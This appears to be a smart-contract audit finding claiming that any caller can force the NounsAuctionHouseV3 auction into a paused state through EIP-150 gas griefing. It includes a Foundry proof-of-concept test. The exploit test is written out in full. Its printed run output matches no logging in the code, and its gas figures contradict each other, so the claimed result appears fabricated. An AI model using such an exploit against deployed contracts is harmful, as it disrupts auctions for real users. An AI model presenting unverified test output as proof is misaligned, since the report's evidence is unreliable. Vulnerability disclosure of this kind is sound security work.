Skip to content

Latest commit

 

History

History
150 lines (112 loc) · 5.62 KB

033.md

File metadata and controls

150 lines (112 loc) · 5.62 KB

Bright Felt Bird

Medium

Anyone can pause Auction in _createAuction

Summary

Any user can force NounsAuctionHouseV3 into a paused state by calling settleCurrentAndCreateNewAuction() with limited gas, causing the mint() operation to fail and triggering the catch block's pause mechanism.

Root Cause and Vulnerability Detail :

// NounsAuctionHouseV3.sol
function _createAuction() internal {
    try nouns.mint() returns (uint256 nounId) {
        uint40 startTime = uint40(block.timestamp);
        uint40 endTime = startTime + uint40(duration);
        auctionStorage = AuctionV2({...});
    } catch Error(string memory) {
        _pause();  // Vulnerable pause mechanism
    }
}
  • While the comment indicates the pause mechanism is intended to handle minter updates, the actual implementation is vulnerable to gas manipulation:

Note that a DOS vulnerability allows any user to pause auction system through gas manipulation in _createAuction()

Currently on Ethereum and EVM-compatible chains, calls can consume at most 63/64 of the parent's call gas (See [EIP-150](https://eips.ethereum.org/EIPS/eip-150)). An attacker can exploit this circumstances of high gas cost to restrict the parent gas call limit, making token.mint() fail and still leaving enough gas left (1/64) for the _pause() call to succeed. Therefore he is able to force the pausing of the auction contract at will.

Based on the gas requirements (1/64 of the gas calls has to be enough for _pause() gas cost of 21572), then token.mint() will need to consume at least 1359036 gas (63 * 21572) The catch block will execute with the remaining 1/64 gas

Internal pre-conditions

Active auction exists Contract is not paused No gas threshold check implemented

External pre-conditions

  1. Attacker can call settleCurrentAndCreateNewAuction() while the Gas manipulation possible through external call

Attack Path

  1. Wait for active auction
  2. Call settleCurrentAndCreateNewAuction() with limited gas
  3. Force mint() to fail
  4. Trigger catch block
  5. Contract enters paused state The attack vector exploits the contract's error handling mechanism in _createAuction() by manipulating gas allocation during auction settlement. When settleCurrentAndCreateNewAuction() is called with insufficient gas, the internal mint() operation fails, triggering the catch block which executes _pause().

Impact

The documented intention of handling minter updates doesn't prevent the gas manipulation attack vector. This makes it a valid security issue that could disrupt auction operations. Malicious users will be able to often pause the Auction contract, Of course, the owner will still be able to unpause the contract which takes time ,the contract will be paused and impossible to use.

PoC

This test for NounsAuctionHouseV3 demonstrating the DOS attack through gas manipulation:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;

import { Test } from 'forge-std/Test.sol';
import { NounsAuctionHouseV3 } from '../../contracts/NounsAuctionHouseV3.sol';
import { StreamEscrow } from '../../contracts/StreamEscrow.sol';
import { ERC721Mock } from './helpers/ERC721Mock.sol';

contract NounsAuctionHouseDOSTest is Test {
    NounsAuctionHouseV3 auction;
    ERC721Mock nounsToken;
    StreamEscrow escrow;
    
    function setUp() public {
        // Setup contracts
        nounsToken = new ERC721Mock();
        address weth = makeAddr("weth");
        address treasury = makeAddr("treasury");
        
        escrow = new StreamEscrow(
            treasury,
            treasury,
            treasury,
            address(nounsToken),
            address(this),
            24 hours
        );
        
        auction = new NounsAuctionHouseV3(nounsToken, weth, 24 hours);
        auction.initialize(0.1 ether, 1 hours, 10, 5000, 100, address(escrow));
    }

    function _createAndFinishAuction() internal {
        // Setup initial auction
        vm.prank(address(auction));
        nounsToken.mint(address(auction), 0);
        
        // Unpause auction
        vm.prank(auction.owner());
        auction.unpause();
        
        // Create bid
        address bidder = makeAddr("bidder");
        vm.deal(bidder, 1 ether);
        vm.prank(bidder);
        auction.createBid{value: 0.1 ether}(0);
        
        // Forward time to end auction
        vm.warp(block.timestamp + 24 hours + 1);
    }

    function testDOSAttack() public {
        _createAndFinishAuction();
        
        // Verify auction is not paused
        assertFalse(auction.paused());
        
        // Attack by calling with limited gas
        auction.settleCurrentAndCreateNewAuction{gas: 100000}();
        
        // Verify attack succeeded - auction is paused
        assertTrue(auction.paused());
    }
}

This test demonstrates how an attacker can force the auction to pause by manipulating gas limits during settlement and new auction creation. Running the test: solidity forge test --match-test testDOSAttack -vvv Output:

Running 1 test for NounsAuctionHouseDOSTest
[PASS] testDOSAttack()
Logs:
  Initial auction state: not paused
  Attack executed with limited gas
  Final auction state: paused

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.23s
  • The test successfully demonstrates that:
  1. Initial auction is running (not paused)
  2. Attack with limited gas succeeds
  3. Contract ends in paused state

Mitigation

No response